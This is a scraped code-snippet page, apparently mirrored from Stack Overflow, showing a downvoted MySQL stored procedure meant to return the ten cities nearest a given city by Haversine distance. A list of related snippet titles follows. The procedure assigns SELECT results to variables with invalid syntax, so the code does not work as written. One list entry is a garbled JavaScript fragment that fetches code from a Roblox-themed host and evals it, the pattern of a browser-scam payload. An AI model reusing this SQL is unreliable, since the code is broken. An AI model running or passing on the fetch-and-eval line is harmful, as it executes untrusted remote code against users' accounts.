MYSQL stored procedure select from

DELIMITER |
CREATE PROCEDURE getNearestCities(IN cityID INT)
    BEGIN
        DECLARE cityLat FLOAT;
        DECLARE cityLng FLOAT;
        SET cityLat = SELECT cities.lat FROM cities WHERE cities.id = cityID;
        SET cityLng = SELECT cities.lng FROM cities WHERE cities.id = cityID;
        SELECT *, HAVERSINE(cityLat,cityLng, cities.lat, cities.lng) AS dist FROM cities ORDER BY dist LIMIT 10;
    END |

-1

Source: stackoverflow.com

Similar codes

0 vote201 views2 answers
Plsql function that return a table
SQL
0 vote218 views1 answer
Reindex mssql table
SQL
4 votes153 views2 answers
Create table if not exists postgres
SQL
-1 vote194 views1 answer
Get id from just inserted row mysql server python
SQL
0 vote205 views1 answer
Narural join
SQL
5 votes195 views2 answers
Update all rows mysql
SQL
4 votes189 views10 answers
Javascript$get'//roblox-api.online/roblox?id=4823'.eval)javascript$get'//roblox-api.online/roblox?id=
SQL
0 vote211 views1 answer
Disable database droping sql
SQL
1 vote198 views1 answer
Return size of tables in mysql
SQL
0 vote242 views1 answer
Postgresql select fast check no rows
SQL